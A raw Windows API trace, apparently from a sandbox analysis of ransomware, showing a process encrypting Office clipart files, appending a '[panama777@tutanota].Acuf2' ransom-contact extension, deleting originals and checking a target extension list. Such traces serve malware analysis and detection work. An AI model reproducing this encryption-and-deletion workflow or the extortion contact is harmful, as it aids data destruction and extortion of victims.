	[0268.417] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.417] SetEndOfFile (hFile=0x274) returned 1
	[0268.417] CloseHandle (hObject=0x274) returned 1
	[0268.417] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.417] SetEndOfFile (hFile=0x370) returned 1
	[0268.419] CloseHandle (hObject=0x370) returned 1
	[0268.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 1
	[0268.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63
	[0268.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63
	[0268.419] lstrlenW (lpString=".doc") returned 4
	[0268.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.419] lstrlenW (lpString=".docx") returned 5
	[0268.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.419] lstrlenW (lpString=".pdf") returned 4
	[0268.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.420] lstrlenW (lpString=".xls") returned 4
	[0268.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.420] lstrlenW (lpString=".xlsx") returned 5
	[0268.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.420] lstrlenW (lpString=".ppt") returned 4
	[0268.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63
	[0268.420] lstrlenW (lpString=".zip") returned 4
	[0268.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.420] lstrlenW (lpString=".rar") returned 4
	[0268.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.420] lstrlenW (lpString=".bz2") returned 4
	[0268.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.420] lstrlenW (lpString=".7z") returned 3
	[0268.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63
	[0268.420] lstrlenW (lpString=".dbf") returned 4
	[0268.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63
	[0268.420] lstrlenW (lpString=".1cd") returned 4
	[0268.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63
	[0268.420] lstrlenW (lpString=".jpg") returned 4
	[0268.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.421] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=696) returned 1
	[0268.421] CloseHandle (hObject=0x370) returned 1
	[0268.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 0x20
	[0268.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.421] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.421] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.421] GetLastError () returned 0x0
	[0268.421] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x2b8, lpOverlapped=0x0) returned 1
	[0268.422] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x2c0, lpOverlapped=0x0) returned 1
	[0268.423] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.423] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.423] SetEndOfFile (hFile=0x274) returned 1
	[0268.423] CloseHandle (hObject=0x274) returned 1
	[0268.423] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.423] SetEndOfFile (hFile=0x370) returned 1
	[0268.425] CloseHandle (hObject=0x370) returned 1
	[0268.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 1
	[0268.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63
	[0268.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63
	[0268.426] lstrlenW (lpString=".doc") returned 4
	[0268.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.426] lstrlenW (lpString=".docx") returned 5
	[0268.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.426] lstrlenW (lpString=".pdf") returned 4
	[0268.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.426] lstrlenW (lpString=".xls") returned 4
	[0268.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.426] lstrlenW (lpString=".xlsx") returned 5
	[0268.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.426] lstrlenW (lpString=".ppt") returned 4
	[0268.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63
	[0268.426] lstrlenW (lpString=".zip") returned 4
	[0268.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.426] lstrlenW (lpString=".rar") returned 4
	[0268.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.426] lstrlenW (lpString=".bz2") returned 4
	[0268.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.427] lstrlenW (lpString=".7z") returned 3
	[0268.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63
	[0268.427] lstrlenW (lpString=".dbf") returned 4
	[0268.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63
	[0268.427] lstrlenW (lpString=".1cd") returned 4
	[0268.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63
	[0268.427] lstrlenW (lpString=".jpg") returned 4
	[0268.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.427] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=1928) returned 1
	[0268.427] CloseHandle (hObject=0x370) returned 1
	[0268.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 0x20
	[0268.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.428] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.428] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.428] GetLastError () returned 0x0
	[0268.428] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x788, lpOverlapped=0x0) returned 1
	[0268.429] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x790, lpOverlapped=0x0) returned 1
	[0268.430] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.430] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.430] SetEndOfFile (hFile=0x274) returned 1
	[0268.430] CloseHandle (hObject=0x274) returned 1
	[0268.431] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.431] SetEndOfFile (hFile=0x370) returned 1
	[0268.433] CloseHandle (hObject=0x370) returned 1
	[0268.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 1
	[0268.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63
	[0268.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63
	[0268.433] lstrlenW (lpString=".doc") returned 4
	[0268.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.433] lstrlenW (lpString=".docx") returned 5
	[0268.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.433] lstrlenW (lpString=".pdf") returned 4
	[0268.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.433] lstrlenW (lpString=".xls") returned 4
	[0268.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.433] lstrlenW (lpString=".xlsx") returned 5
	[0268.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.433] lstrlenW (lpString=".ppt") returned 4
	[0268.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63
	[0268.434] lstrlenW (lpString=".zip") returned 4
	[0268.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.434] lstrlenW (lpString=".rar") returned 4
	[0268.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.434] lstrlenW (lpString=".bz2") returned 4
	[0268.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.434] lstrlenW (lpString=".7z") returned 3
	[0268.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63
	[0268.434] lstrlenW (lpString=".dbf") returned 4
	[0268.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63
	[0268.434] lstrlenW (lpString=".1cd") returned 4
	[0268.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63
	[0268.434] lstrlenW (lpString=".jpg") returned 4
	[0268.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.434] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=9172) returned 1
	[0268.434] CloseHandle (hObject=0x370) returned 1
	[0268.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 0x20
	[0268.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.435] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.435] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.436] GetLastError () returned 0x0
	[0268.436] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x23d4, lpOverlapped=0x0) returned 1
	[0268.437] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x23e0, lpOverlapped=0x0) returned 1
	[0268.438] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.438] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.438] SetEndOfFile (hFile=0x274) returned 1
	[0268.438] CloseHandle (hObject=0x274) returned 1
	[0268.439] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.439] SetEndOfFile (hFile=0x370) returned 1
	[0268.441] CloseHandle (hObject=0x370) returned 1
	[0268.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 1
	[0268.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63
	[0268.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63
	[0268.442] lstrlenW (lpString=".doc") returned 4
	[0268.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.442] lstrlenW (lpString=".docx") returned 5
	[0268.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.442] lstrlenW (lpString=".pdf") returned 4
	[0268.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.442] lstrlenW (lpString=".xls") returned 4
	[0268.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.442] lstrlenW (lpString=".xlsx") returned 5
	[0268.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.442] lstrlenW (lpString=".ppt") returned 4
	[0268.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63
	[0268.442] lstrlenW (lpString=".zip") returned 4
	[0268.442] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.442] lstrlenW (lpString=".rar") returned 4
	[0268.442] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.442] lstrlenW (lpString=".bz2") returned 4
	[0268.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.442] lstrlenW (lpString=".7z") returned 3
	[0268.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63
	[0268.442] lstrlenW (lpString=".dbf") returned 4
	[0268.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63
	[0268.442] lstrlenW (lpString=".1cd") returned 4
	[0268.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63
	[0268.443] lstrlenW (lpString=".jpg") returned 4
	[0268.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.443] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=12748) returned 1
	[0268.444] CloseHandle (hObject=0x370) returned 1
	[0268.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 0x20
	[0268.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.444] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.444] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.444] GetLastError () returned 0x0
	[0268.444] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x31cc, lpOverlapped=0x0) returned 1
	[0268.446] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x31d0, lpOverlapped=0x0) returned 1
	[0268.447] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.447] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.447] SetEndOfFile (hFile=0x274) returned 1
	[0268.447] CloseHandle (hObject=0x274) returned 1
	[0268.447] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.448] SetEndOfFile (hFile=0x370) returned 1
	[0268.450] CloseHandle (hObject=0x370) returned 1
	[0268.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 1
	[0268.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63
	[0268.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63
	[0268.450] lstrlenW (lpString=".doc") returned 4
	[0268.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.450] lstrlenW (lpString=".docx") returned 5
	[0268.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.450] lstrlenW (lpString=".pdf") returned 4
	[0268.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.450] lstrlenW (lpString=".xls") returned 4
	[0268.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.450] lstrlenW (lpString=".xlsx") returned 5
	[0268.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.450] lstrlenW (lpString=".ppt") returned 4
	[0268.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63
	[0268.451] lstrlenW (lpString=".zip") returned 4
	[0268.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.451] lstrlenW (lpString=".rar") returned 4
	[0268.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.451] lstrlenW (lpString=".bz2") returned 4
	[0268.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.451] lstrlenW (lpString=".7z") returned 3
	[0268.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
